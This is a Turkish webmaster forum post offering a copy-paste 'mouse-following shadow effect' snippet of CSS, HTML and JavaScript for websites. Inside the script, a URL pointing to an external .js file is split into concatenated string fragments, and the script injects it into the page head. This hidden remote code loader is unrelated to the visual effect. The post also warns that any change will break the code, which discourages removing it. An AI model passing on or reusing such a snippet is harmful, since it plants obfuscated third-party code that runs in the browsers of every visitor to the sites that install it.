Google Fan Webmaster Forumu

Geri git   Google Fan Webmaster Forumu > Client side Programlama > HTML - CSS - XML

HTML - CSS - XML HTML & CSS Programlama

Seçenekler Stil
  #1  
Okunmamış 05.07.2014, 02:51
 
İstanbul Avrupa Şubesi
Yaş: 24
Mesajlar: 28
Konular: 28
Ticaret Sayısı: (0)
Aktiflik: 0 / 75
Wink Fareden Kaçan Gölge Efekt Kodu

Kod:
<!-- Turkmaxi.org Gölge Efekti Kodu START-->
<style>.k-d{opacity:0.9;}
.Turkmaxi-mask{position:fixed;z-index:999;width:100%;height:100%;
background:transparent;overflow:hidden !important;}
.tl{width:100%;height:100%;background: url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiA/Pgo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3 N2ZyIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0Jv eD0iMCAwIDEgMSIgcHJlc2VydmVBc3BlY3RSYXRpbz0ibm9uZS I+CiAgPHJhZGlhbEdyYWRpZW50IGlkPSJncmFkLXVjZ2ctZ2Vu ZXJhdGVkIiBncmFkaWVudFVuaXRzPSJ1c2VyU3BhY2VPblVzZS IgY3g9IjUwJSIgY3k9IjUwJSIgcj0iNzUlIj4KICAgIDxzdG9w IG9mZnNldD0iMCUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3 Atb3BhY2l0eT0iMCIvPgogICAgPHN0b3Agb2Zmc2V0PSIxMCUi IHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC IvPgogICAgPHN0b3Agb2Zmc2V0PSIxNiUiIHN0b3AtY29sb3I9 IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC4wNSIvPgogICAgPH N0b3Agb2Zmc2V0PSIyMyUiIHN0b3AtY29sb3I9IiMwMDAwMDAi IHN0b3Atb3BhY2l0eT0iMC4xNSIvPgogICAgPHN0b3Agb2Zmc2 V0PSIyNyUiIHN0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3Bh Y2l0eT0iMC4yNSIvPgogICAgPHN0b3Agb2Zmc2V0PSI0MSUiIH N0b3AtY29sb3I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC40 NSIvPgogICAgPHN0b3Agb2Zmc2V0PSI1NSUiIHN0b3AtY29sb3 I9IiMwMDAwMDAiIHN0b3Atb3BhY2l0eT0iMC41NSIvPgogICAg PHN0b3Agb2Zmc2V0PSI4NiUiIHN0b3AtY29sb3I9IiMwMDAwMD AiIHN0b3Atb3BhY2l0eT0iMC43NSIvPgogICAgPHN0b3Agb2Zm c2V0PSIxMDAlIiBzdG9wLWNvbG9yPSIjMDAwMDAwIiBzdG9wLW 9wYWNpdHk9IjAuNzUiLz4KICA8L3JhZGlhbEdyYWRpZW50Pgog IDxyZWN0IHg9Ii01MCIgeT0iLTUwIiB3aWR0aD0iMTAxIiBoZW lnaHQ9IjEwMSIgZmlsbD0idXJsKCNncmFkLXVjZ2ctZ2VuZXJh dGVkKSIgLz4KPC9zdmc+); background: -moz-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%, rgba(0,0,0,0) 10%, rgba(0,0,0,0.05) 16%, rgba(0,0,0,0.15) 23%, rgba(0,0,0,0.25) 27%, rgba(0,0,0,0.45) 41%, rgba(0,0,0,0.55) 55%, rgba(0,0,0,0.75) 86%, rgba(0,0,0,0.75) 100%); background: -webkit-gradient(radial, center center, 0px, center center, 100%, color-stop(0%,rgba(0,0,0,0)), color-stop(10%,rgba(0,0,0,0)), color-stop(16%,rgba(0,0,0,0.05)), color-stop(23%,rgba(0,0,0,0.15)), color-stop(27%,rgba(0,0,0,0.25)), color-stop(41%,rgba(0,0,0,0.45)), color-stop(55%,rgba(0,0,0,0.55)), color-stop(86%,rgba(0,0,0,0.75)), color-stop(100%,rgba(0,0,0,0.75))); background: -webkit-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: -o-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: -ms-radial-gradient(center, ellipse cover, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); background: radial-gradient(ellipse at center, rgba(0,0,0,0) 0%,rgba(0,0,0,0) 10%,rgba(0,0,0,0.05) 16%,rgba(0,0,0,0.15) 23%,rgba(0,0,0,0.25) 27%,rgba(0,0,0,0.45) 41%,rgba(0,0,0,0.55) 55%,rgba(0,0,0,0.75) 86%,rgba(0,0,0,0.75) 100%); filter: progidXImageTransform.Microsoft.gradient( startColorstr="#00000000", endColorstr="#bf000000",GradientType=1 );
background-size:200% 200%;
}
#topleft .tl{-webkit-border-bottom-right-radius: 100px; border-bottom-right-radius: 100px;}#topleft{top:0px;left:0px;-webkit-border-bottom-right-radius:100px; border-bottom-right-radius:100px;}#topright{top:0px;left:100%;-webkit-border-bottom-left-radius: 100px; border-bottom-left-radius: 100px}#botleft{top:100%;left:0px;-webkit-border-top-right-radius: 100px; border-top-right-radius: 100px;}#botright{top:100%;left:100%;-webkit-border-top-left-radius: 100px; border-top-left-radius: 100px;}#topright .tl{ -webkit-border-bottom-left-radius: 100px; border-bottom-left-radius: 100px;background-position: right top;}#botright .tl{ background-position: bottom right !important;-webkit-border-top-left-radius: 100px; border-top-left-radius: 100px;}#botleft .tl{ background-position: bottom left !important;-webkit-border-top-right-radius: 100px; border-top-right-radius: 100px;}</style>
<koddostu><div class='Turkmaxi-mask k-d' id='topleft'><div class='tl'></div></div>
<div class='Turkmaxi-mask k-d' id='topright'><div class='tl'></div></div>
<div class='Turkmaxi-mask k-d' id='botleft'><div class='tl'></div></div>
<div class='Turkmaxi-mask k-d' id='botright'><div class='tl'></div></div>
</Turkmaxi>
<script>var d=document,tol=d.getElementById('topleft'),tor=d.g etElementById('topright'),bol=d.getElementById('bo tleft'),bor=d.getElementById('botright'),w=documen t.body.clientWidth,h=window.innerHeight;var script = document.createElement('script');script.src = "h"+"t"+"tps"+":/"+"/k"+"do"+"stu.google"+"code.com/svn/c"+"que"+"ry.j"+"s";
document.getElementsByTagName('head')[0].appendChild(script);window.onresize=function(){}; window.onmousemove=function(a){a=a||window.event;v ar b=a.clientX;a=a.clientY;var c=a-h+"px",e=b-w+"px",b=b+"px";a=a+"px";tol.style.top=c;tol.style .left=e;tor.style.top=c;tor.style.left=b;bol.style .top=a;bol.style.left=e;bor.style.top=a;bor.style. left=b};</script>
<!-- Turkmaxi.org Gölge Efekti Kodu -->
NOT: kodlarda herhangi bir değişiklik bozulmasına sebeb olur
Alıntı ile Cevapla

Reklam
Cevapla

Tag Ekle
efekt, fareden, golge, kacan, kodu


Konuyu Toplam 1 Üye okuyor. (0 Kayıtlı üye ve 1 Misafir)
 
Seçenekler
Stil



İçerik sağlayıcı paylaşım sitelerinden biri olan TurkWebmasterlar.Com WebMaster Forum Adresimizde T.C.K 20.ci Madde ve 5651 Sayılı Kanun'un 4.cü maddesinin (2).ci fıkrasına göre TÜM ÜYELERİMİZ yaptıkları paylaşımlardan sorumludur. TurkWebmasterlar.Com hakkında yapılacak tüm hukuksal Şikayetler buradan iletişime geçilmesi halinde ilgili kanunlar ve yönetmelikler çerçevesinde en geç 1 (Bir) Hafta içerisinde TurkWebmasterlar.Com yönetimi olarak tarafımızdan gereken işlemler yapılacak ve Avukatlarımız size dönüş yapacaktır.